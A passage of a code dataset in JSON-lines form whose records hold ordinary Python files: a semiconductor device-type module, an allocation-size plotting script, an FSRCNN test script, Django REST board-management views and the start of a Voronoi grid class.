DutTypeInt(mos | DutTypeFlag.flag_n_mos, string=\"nmos\")\n n_mos = DutTypeInt(mos | DutTypeFlag._flag_subtype_1, string=\"nmos\")\n # p_mos = DutTypeInt(mos | DutTypeFlag.flag_p_mos, string=\"pmos\")\n p_mos = DutTypeInt(mos | DutTypeFlag._flag_subtype_2, string=\"pmos\")\n\n diode = DutTypeInt(device | DutTypeFlag.flag_diode, nodes=[\"C\", \"A\"], string=\"diode\")\n pn_diode = DutTypeInt(diode | DutTypeFlag._flag_subtype_1, string=\"pn-diode\")\n pin_diode = DutTypeInt(diode | DutTypeFlag._flag_subtype_2, string=\"pin-diode\")\n cap = DutTypeInt(device | DutTypeFlag.flag_cap, nodes=[\"C\", \"A\"], string=\"capacitance\")\n res = DutTypeInt(device | DutTypeFlag.flag_res, nodes=[\"C\", \"A\"], string=\"resistor\")\n\n tlm = DutTypeInt(\n meas_struct | DutTypeFlag.flag_tlm, nodes=[\"L\", \"M\", \"R\"], string=\"tlm\"\n ) # left, middle, right\n tlmb = DutTypeInt(tlm | DutTypeFlag._flag_subtype_1, string=\"tlm-base\")\n tlmc = DutTypeInt(tlm | DutTypeFlag._flag_subtype_2, string=\"tlm-collector\")\n tlmbc = DutTypeInt(tlm | DutTypeFlag._flag_subtype_3, string=\"tlm-base-collector\")\n\n vdp = DutTypeInt(\n meas_struct | DutTypeFlag.flag_vdp, nodes=[\"A\", \"B\", \"C\", \"D\"], string=\"vdp\"\n ) # four arbitrary contacts\n\n deem_open_bjt = DutTypeInt(deem_bjt | DutTypeFlag.flag_open, string=\"open-bjt\")\n deem_short_bjt = DutTypeInt(deem_bjt | DutTypeFlag.flag_short, string=\"short-bjt\")\n\n deem_open_mos = DutTypeInt(deem_mos | DutTypeFlag.flag_open, string=\"open-mos\")\n deem_short_mos = DutTypeInt(deem_mos | DutTypeFlag.flag_short, string=\"short-mos\")\n\n tetrode = DutTypeInt(\n meas_struct | DutTypeFlag.flag_tetrode,\n nodes=[\"B1\", \"B2\", \"E\", \"C\", \"S\"],\n string=\"tetrode\",\n )\n\n cap_ac = DutTypeInt(\n cap | meas_struct, nodes=[\"L\", \"R\", \"G\", \"S\"], string=\"capacitance-ac\"\n ) # capacitance in GSG pads, each pad is one Capacitance, so S(1,1) and S(2,2) are wanted...\n\n @classmethod\n def deserialize(cls, dict_loaded):\n \"\"\"Static class method to create a DutType from a loaded dictionary.\n\n Returns\n -------\n DutTypeInt or DutTypeFlag\n DutType ready to be used.\n \"\"\"\n if \"DutTypeFlag\" in dict_loaded[\"DutType\"]:\n dut_type = getattr(DutTypeFlag, dict_loaded[\"DutType\"].split(\".\")[1])\n # just be sure...\n dut_type.nodes = dict_loaded[\"nodes\"]\n dut_type.string = dict_loaded[\"string\"]\n elif \"DutTypeInt\" in dict_loaded[\"DutType\"]:\n types_int = [\n member\n for member in cls.__dict__.keys()\n if not member.startswith(\"__\") and not callable(getattr(cls, member))\n ]\n dut_type = None\n for key_dut_typ_int in types_int:\n dut_type_int = getattr(cls, key_dut_typ_int)\n if dut_type_int.get_string() != dict_loaded[\"string\"]:\n continue\n\n dut_type = dut_type_int\n # just be sure...\n if dut_type is None:\n warnings.warn(\n \"DMT.DutType: Did not find the loaded duttype with the string '\"\n + dict_loaded[\"string\"]\n + \"' in the current DMT version.\"\n )\n dut_type = DutTypeInt(\n dict_loaded[\"value\"],\n string=dict_loaded[\"string\"],\n nodes=dict_loaded[\"nodes\"],\n )\n else:\n dut_type.nodes = dict_loaded[\"nodes\"]\n else:\n raise IOError(\n \"DMT.DutType: I dont know how to deserealize the DutType: \" + dict_loaded[\"DutType\"]\n )\n\n return dut_type\n", "repo_name": "semimod/DMT-core", "sub_path": "DMT/core/dut_type.py", "file_name": "dut_type.py", "file_ext": "py", "file_size_in_byte": 13496, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "enum.Flag", "line_number": 190, "usage_type": "name"}, {"api_name": "enum.auto", "line_number": 200, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 201, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 202, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 203, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 204, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 205, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 206, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 207, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 208, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 209, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 210, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 211, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 212, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 213, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 214, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 215, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 216, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 217, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 218, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 219, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 226, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 227, "usage_type": "call"}, {"api_name": "enum.unique", "line_number": 189, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 365, "usage_type": "call"}]} {"seq_id": "3351774393", "text": "#!/usr/bin/env python\n\n# ==========================================================================\n# Author: scps950707\n# Email: scps950707@gmail.com\n# Created: 2018-06-19 15:20\n# Last Modified: 2018-06-21 19:40\n# Filename: parse.py\n# Description: Plot the malloc/free sequence from paired file\n# ==========================================================================\nfrom __future__ import print_function\nfrom sys import stdin\nimport matplotlib.pyplot as plt\nfrom collections import Counter\n\nallSeq = []\n\n# format example:\n# malloc 5 0xfcfdc0\n# free 5 0xfcfdc0\n\nfor line in stdin:\n data = line.rstrip('\\n').split(' ')\n if data[0] == \"malloc\" or data[0] == \"free\":\n allSeq.append({'op': data[0],\n 'size': int(data[1]),\n 'addr': data[2],\n 'isMatched': False})\n\n\nallocSizeSeq = [i['size'] for i in allSeq if i['op'] == \"malloc\"]\ndic = dict()\ndic = Counter(allocSizeSeq)\n# for key in sorted(dic):\nfor key in dic:\n # print(\"%s: %s\" % (key, dic[key]))\n plt.plot([key], [dic[key]], marker='o', markersize=6, color=\"red\")\nplt.title('Allocation Size Distribution', size=26)\nplt.xlabel('Allocation Size (bytes)', size=26)\nplt.ylabel('Number of allocations', size=26)\nplt.xticks(fontsize=26)\nplt.yticks(fontsize=26)\nplt.xscale('log')\nplt.yscale('log')\nplt.show()\n", "repo_name": "scps950707/allocTracer", "sub_path": "plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 1377, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.stdin", "line_number": 22, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xscale", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}]} {"seq_id": "72863766622", "text": "import argparse\n\nimport torch\nimport torch.backends.cudnn as cudnn\nimport numpy as np\nimport PIL.Image as pil_image\n\nfrom models import FSRCNN\nfrom utils import convert_ycbcr_to_rgb, preprocess, calc_psnr\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--weights-file', type=str,default = './output')\n parser.add_argument('--image-file', type=str,default = './data/Set5_x3.h5')\n parser.add_argument('--scale', type=int, default=3)\n args = parser.parse_args()\n\n cudnn.benchmark = True\n device = torch.device('npu:0' if torch.npu.is_available() else 'cpu')\n\n model = FSRCNN(scale_factor=args.scale).to(device)\n\n state_dict = model.state_dict()\n for n, p in torch.load(args.weights_file, map_location=lambda storage, loc: storage).items():\n if n in state_dict.keys():\n state_dict[n].copy_(p)\n else:\n raise KeyError(n)\n\n model.eval()\n\n image = pil_image.open(args.image_file).convert('RGB')\n\n image_width = (image.width // args.scale) * args.scale\n image_height = (image.height // args.scale) * args.scale\n\n hr = image.resize((image_width, image_height), resample=pil_image.BICUBIC)\n lr = hr.resize((hr.width // args.scale, hr.height // args.scale), resample=pil_image.BICUBIC)\n bicubic = lr.resize((lr.width * args.scale, lr.height * args.scale), resample=pil_image.BICUBIC)\n bicubic.save(args.image_file.replace('.', '_bicubic_x{}.'.format(args.scale)))\n\n lr, _ = preprocess(lr, device)\n hr, _ = preprocess(hr, device)\n _, ycbcr = preprocess(bicubic, device)\n\n with torch.no_grad():\n preds = model(lr).clamp(0.0, 1.0)\n\n psnr = calc_psnr(hr, preds)\n print('PSNR: {:.2f}'.format(psnr))\n\n preds = preds.mul(255.0).cpu().numpy().squeeze(0).squeeze(0)\n\n output = np.array([preds, ycbcr[..., 1], ycbcr[..., 2]]).transpose([1, 2, 0])\n output = np.clip(convert_ycbcr_to_rgb(output), 0.0, 255.0).astype(np.uint8)\n output = pil_image.fromarray(output)\n output.save(args.image_file.replace('.', '_fsrcnn_x{}.'.format(args.scale)))\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/cv/others/FSRCNN_ID2990_for_PyTorch/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 2087, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.npu.is_available", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.npu", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.FSRCNN", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 25, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 33, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 33, "usage_type": "name"}, {"api_name": "PIL.Image.BICUBIC", "line_number": 38, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 38, "usage_type": "name"}, {"api_name": "PIL.Image.BICUBIC", "line_number": 39, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 39, "usage_type": "name"}, {"api_name": "PIL.Image.BICUBIC", "line_number": 40, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 40, "usage_type": "name"}, {"api_name": "utils.preprocess", "line_number": 43, "usage_type": "call"}, {"api_name": "utils.preprocess", "line_number": 44, "usage_type": "call"}, {"api_name": "utils.preprocess", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 47, "usage_type": "call"}, {"api_name": "utils.calc_psnr", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 56, "usage_type": "call"}, {"api_name": "utils.convert_ycbcr_to_rgb", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 56, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 57, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 57, "usage_type": "name"}]} {"seq_id": "25909409549", "text": "from django.shortcuts import get_object_or_404\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import viewsets, status, mixins\nfrom rest_framework.decorators import action\nfrom django.http import JsonResponse\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\nfrom .filters import BoardFilter\nfrom .models import (Board, Favorite, ParticipantInBoard)\nfrom .permissions import (IsAuthor, IsParticipant, IsStaff,\n IsAuthorOrParticipantOrAdminListParticipantsAndTags,\n IsAuthorOrModeratorOrAdminDelParticipantsPutTags)\nfrom .serializers import (BoardListOrCreateSerializer, BoardSerializer,\n ParticipantInBoardSerializer,\n SwitchModeratorSerializer,\n SearchBoardSerializer, SearchCardSerializer)\nfrom .tag_serializer import TagSerializer\nfrom cards.models import Card\n\n\nclass BoardViewSet(viewsets.ModelViewSet):\n filter_backends = [DjangoFilterBackend, ]\n filter_class = BoardFilter\n\n def get_queryset(self):\n user = self.request.user\n\n if user.is_superuser or user.is_staff:\n return Board.objects.all()\n\n return Board.objects.filter(participants__id=self.request.user.id)\n\n def get_serializer_class(self):\n\n if self.action in ('list', 'create'):\n return BoardListOrCreateSerializer\n\n if self.action in ('retrieve', 'update', 'partial_update', 'destroy'):\n return BoardSerializer\n\n def get_permissions(self):\n\n if self.action in ('list', 'create'):\n return [IsAuthenticated()]\n\n if self.action in ('retrieve', 'favorite', 'leave'):\n return [(IsAuthor | IsParticipant | IsStaff)()]\n\n if self.action in ('update', 'partial_update', 'destroy',\n 'switch_moderator'):\n return [(IsAuthor | IsStaff)()]\n\n @action(detail=True, methods=['post', 'delete'])\n def favorite(self, request, **kwargs):\n user = request.user\n board = get_object_or_404(Board, id=kwargs.get('pk'))\n self.check_object_permissions(self.request, board)\n\n if request.method == 'POST':\n _, is_created = Favorite.objects.get_or_create(user=user,\n board=board)\n\n if not is_created:\n return Response({\n 'status': 'error',\n 'message': 'Вы уже добавили данную доску в избранное!'},\n status=status.HTTP_400_BAD_REQUEST)\n\n return Response(status=status.HTTP_201_CREATED)\n\n if request.method == 'DELETE':\n count, _ = Favorite.objects.filter(user=user, board=board).delete()\n\n if count == 0:\n return Response({\n 'status': 'error',\n 'message': 'Данной доски нет в списке избранных!'},\n status=status.HTTP_400_BAD_REQUEST)\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n @action(detail=True, methods=['post'])\n def switch_moderator(self, request, **kwargs):\n board = get_object_or_404(Board, id=kwargs.get('pk'))\n self.check_object_permissions(self.request, board)\n\n data = request.data\n data['board_id'] = kwargs.get('pk')\n serializer = SwitchModeratorSerializer(data=data)\n serializer.is_valid(raise_exception=True)\n\n user_id = request.data['id']\n participant_in_board = get_object_or_404(ParticipantInBoard,\n board=board,\n participant__=user_id,\n )\n\n if participant_in_board.is_moderator:\n participant_in_board.is_moderator = False\n participant_in_board.save()\n\n return Response(\n {'status': 'success',\n 'message': 'Данный пользователь больше не модератор!'},\n status=status.HTTP_200_OK)\n\n participant_in_board.is_moderator = True\n participant_in_board.save()\n\n return Response({'status': 'success',\n 'message': 'Данный пользователь теперь модератор!'},\n status=status.HTTP_200_OK)\n\n @action(detail=True, methods=['post'])\n def leave(self, request, **kwargs):\n board = get_object_or_404(Board, id=kwargs.get('pk'))\n self.check_object_permissions(self.request, board)\n\n if request.user == board.author:\n return Response({\n 'status': 'error',\n 'message': 'Автор доски не может покинуть доску!'},\n status=status.HTTP_400_BAD_REQUEST)\n\n board.participants.remove(request.user)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass ParticipantInBoardViewSet(viewsets.GenericViewSet,\n mixins.ListModelMixin,\n mixins.RetrieveModelMixin,\n mixins.DestroyModelMixin):\n serializer_class = ParticipantInBoardSerializer\n filter_backends = [DjangoFilterBackend]\n filterset_fields = ['is_moderator']\n\n def get_queryset(self):\n board = get_object_or_404(Board, id=self.kwargs.get('board_id'))\n\n return ParticipantInBoard.objects.filter(board=board)\n\n def get_permissions(self):\n\n if self.action == 'list':\n return [IsAuthorOrParticipantOrAdminListParticipantsAndTags()]\n\n if self.action == 'retrieve':\n return [(IsAuthor | IsParticipant | IsStaff)()]\n\n if self.action == 'destroy':\n return [IsAuthorOrModeratorOrAdminDelParticipantsPutTags()]\n\n def destroy(self, request, *args, **kwargs):\n board = get_object_or_404(Board, id=kwargs.get('board_id'))\n user_id = kwargs.get('pk')\n participant_in_board = get_object_or_404(ParticipantInBoard,\n board=board,\n participant__id=user_id,\n )\n\n if participant_in_board.participant == board.author:\n return Response({\n 'status': 'error',\n 'message': 'Автора доски нельзя исключить из участников!'},\n status=status.HTTP_400_BAD_REQUEST)\n\n if participant_in_board.is_moderator and request.user != board.author:\n return Response({\n 'status': 'error',\n 'message': 'Исключить модератора может только автор доски!'},\n status=status.HTTP_400_BAD_REQUEST)\n\n board.participants.remove(user_id)\n\n for list_ in board.lists.all():\n for card in list_.cards.all():\n card.participants.remove(user_id)\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass TagInBoardViewSet(viewsets.GenericViewSet,\n mixins.ListModelMixin,\n mixins.RetrieveModelMixin,\n mixins.UpdateModelMixin):\n serializer_class = TagSerializer\n\n def get_queryset(self):\n board = get_object_or_404(Board, id=self.kwargs.get('board_id'))\n\n return board.tags.all()\n\n def get_permissions(self):\n\n if self.action == 'list':\n return [IsAuthorOrParticipantOrAdminListParticipantsAndTags()]\n\n if self.action == 'retrieve':\n return [(IsAuthor | IsParticipant | IsStaff)()]\n\n if self.action in ('update', 'partial_update',):\n return [IsAuthorOrModeratorOrAdminDelParticipantsPutTags()]\n\n\nclass SearchAPIView(APIView):\n\n def get(self, request):\n name = request.GET.get('name', None)\n boards = Board.objects.filter(participants__id=self.request.user.id)\n cards = Card.objects.filter(\n list__board__participants__id=self.request.user.id)\n\n if name:\n boards = boards.filter(name__icontains=name)\n cards = cards.filter(name__icontains=name)\n\n return JsonResponse({\n 'boards': SearchBoardSerializer(instance=boards,\n many=True).data,\n 'cards': SearchCardSerializer(instance=cards,\n many=True).data\n })\n\n return JsonResponse({'boards': [], 'cards': []})\n", "repo_name": "xelam11/TaskPlanner", "sub_path": "backend/boards/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 8780, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 23, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 23, "usage_type": "name"}, {"api_name": "django_filters.rest_framework.DjangoFilterBackend", "line_number": 24, "usage_type": "name"}, {"api_name": "filters.BoardFilter", "line_number": 25, "usage_type": "name"}, {"api_name": "models.Board.objects.all", "line_number": 31, "usage_type": "call"}, {"api_name": "models.Board.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "models.Board", "line_number": 31, "usage_type": "name"}, {"api_name": "models.Board.objects.filter", "line_number": 33, "usage_type": "call"}, {"api_name": "models.Board.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "models.Board", "line_number": 33, "usage_type": "name"}, {"api_name": "serializers.BoardListOrCreateSerializer", "line_number": 38, "usage_type": "name"}, {"api_name": "serializers.BoardSerializer", "line_number": 41, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 46, "usage_type": "call"}, {"api_name": "permissions.IsAuthor", "line_number": 49, "usage_type": "name"}, {"api_name": "permissions.IsParticipant", "line_number": 49, "usage_type": "name"}, {"api_name": "permissions.IsStaff", "line_number": 49, "usage_type": "name"}, {"api_name": "permissions.IsAuthor", "line_number": 53, "usage_type": "name"}, {"api_name": "permissions.IsStaff", "line_number": 53, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 58, "usage_type": "call"}, {"api_name": "models.Board", "line_number": 58, "usage_type": "argument"}, {"api_name": "models.Favorite.objects.get_or_create", "line_number": 62, "usage_type": "call"}, {"api_name": "models.Favorite.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "models.Favorite", "line_number": 62, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 66, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 69, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 69, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 71, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 71, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 71, "usage_type": "name"}, {"api_name": "models.Favorite.objects.filter", "line_number": 74, "usage_type": "call"}, {"api_name": "models.Favorite.objects", "line_number": 74, "usage_type": "attribute"}, {"api_name": "models.Favorite", "line_number": 74, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 77, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 80, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 80, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 82, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 82, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 82, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 55, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 86, "usage_type": "call"}, {"api_name": "models.Board", "line_number": 86, "usage_type": "argument"}, {"api_name": "serializers.SwitchModeratorSerializer", "line_number": 91, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 95, "usage_type": "call"}, {"api_name": "models.ParticipantInBoard", "line_number": 95, "usage_type": "argument"}, {"api_name": "rest_framework.response.Response", "line_number": 104, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 107, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 107, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 112, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 114, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 114, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 84, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 118, "usage_type": "call"}, {"api_name": "models.Board", "line_number": 118, "usage_type": "argument"}, {"api_name": "rest_framework.response.Response", "line_number": 122, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 125, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 125, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 128, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 128, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 128, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 116, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 131, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 131, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 132, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 132, "usage_type": "name"}, {"api_name": "rest_framework.mixins.RetrieveModelMixin", "line_number": 133, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 133, "usage_type": "name"}, {"api_name": "rest_framework.mixins.DestroyModelMixin", "line_number": 134, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 134, "usage_type": "name"}, {"api_name": "serializers.ParticipantInBoardSerializer", "line_number": 135, "usage_type": "name"}, {"api_name": "django_filters.rest_framework.DjangoFilterBackend", "line_number": 136, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 140, "usage_type": "call"}, {"api_name": "models.Board", "line_number": 140, "usage_type": "argument"}, {"api_name": "models.ParticipantInBoard.objects.filter", "line_number": 142, "usage_type": "call"}, {"api_name": "models.ParticipantInBoard.objects", "line_number": 142, "usage_type": "attribute"}, {"api_name": "models.ParticipantInBoard", "line_number": 142, "usage_type": "name"}, {"api_name": "permissions.IsAuthorOrParticipantOrAdminListParticipantsAndTags", "line_number": 147, "usage_type": "call"}, {"api_name": "permissions.IsAuthor", "line_number": 150, "usage_type": "name"}, {"api_name": "permissions.IsParticipant", "line_number": 150, "usage_type": "name"}, {"api_name": "permissions.IsStaff", "line_number": 150, "usage_type": "name"}, {"api_name": "permissions.IsAuthorOrModeratorOrAdminDelParticipantsPutTags", "line_number": 153, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 156, "usage_type": "call"}, {"api_name": "models.Board", "line_number": 156, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 158, "usage_type": "call"}, {"api_name": "models.ParticipantInBoard", "line_number": 158, "usage_type": "argument"}, {"api_name": "rest_framework.response.Response", "line_number": 164, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 167, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 167, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 170, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 173, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 173, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 181, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 181, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 181, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 184, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 184, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 185, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 185, "usage_type": "name"}, {"api_name": "rest_framework.mixins.RetrieveModelMixin", "line_number": 186, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 186, "usage_type": "name"}, {"api_name": "rest_framework.mixins.UpdateModelMixin", "line_number": 187, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 187, "usage_type": "name"}, {"api_name": "tag_serializer.TagSerializer", "line_number": 188, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 191, "usage_type": "call"}, {"api_name": "models.Board", "line_number": 191, "usage_type": "argument"}, {"api_name": "permissions.IsAuthorOrParticipantOrAdminListParticipantsAndTags", "line_number": 198, "usage_type": "call"}, {"api_name": "permissions.IsAuthor", "line_number": 201, "usage_type": "name"}, {"api_name": "permissions.IsParticipant", "line_number": 201, "usage_type": "name"}, {"api_name": "permissions.IsStaff", "line_number": 201, "usage_type": "name"}, {"api_name": "permissions.IsAuthorOrModeratorOrAdminDelParticipantsPutTags", "line_number": 204, "usage_type": "call"}, {"api_name": "rest_framework.views.APIView", "line_number": 207, "usage_type": "name"}, {"api_name": "models.Board.objects.filter", "line_number": 211, "usage_type": "call"}, {"api_name": "models.Board.objects", "line_number": 211, "usage_type": "attribute"}, {"api_name": "models.Board", "line_number": 211, "usage_type": "name"}, {"api_name": "cards.models", "line_number": 212, "usage_type": "name"}, {"api_name": "cards.models.Card.objects.filter", "line_number": 212, "usage_type": "call"}, {"api_name": "cards.models.Card.objects", "line_number": 212, "usage_type": "attribute"}, {"api_name": "cards.models.Card", "line_number": 212, "usage_type": "name"}, {"api_name": "cards.models", "line_number": 217, "usage_type": "name"}, {"api_name": "cards.models.filter", "line_number": 217, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 219, "usage_type": "call"}, {"api_name": "serializers.SearchBoardSerializer", "line_number": 220, "usage_type": "call"}, {"api_name": "serializers.SearchCardSerializer", "line_number": 222, "usage_type": "call"}, {"api_name": "cards.models", "line_number": 222, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 226, "usage_type": "call"}]} {"seq_id": "7352266940", "text": "import numpy as np\nimport porepy as pp\nimport scipy.sparse as sps\nimport scipy.spatial\n\nimport pygeon as pg\n\n\nclass VoronoiGrid(pg.Grid):\n \"\"\"docstring for VoronoiGrid.\"\"\"\n\n def __init__(self, num_bdry_els, num_pts, seed=None, name=\"VoronoiGrid\"):\n # Generate the internal seed points for the Voronoi grid\n\n if seed is not None:\n np.random.seed(seed)\n pts = np.random.rand(2, num_pts)\n\n bdry_mesh_size = 1.0 / num_bdry_els\n bdry_margin = 0.5 * bdry_mesh_size\n pts = bdry_margin + pts * (1 - 2 * bdry_margin)\n\n # Append the boundary seeds\n bdry_pts = np.linspace(bdry_mesh_size / 2, 1 - bdry_mesh_size / 2, num_bdry_els)\n\n east = np.vstack((np.ones_like(bdry_pts), bdry_pts))\n north = 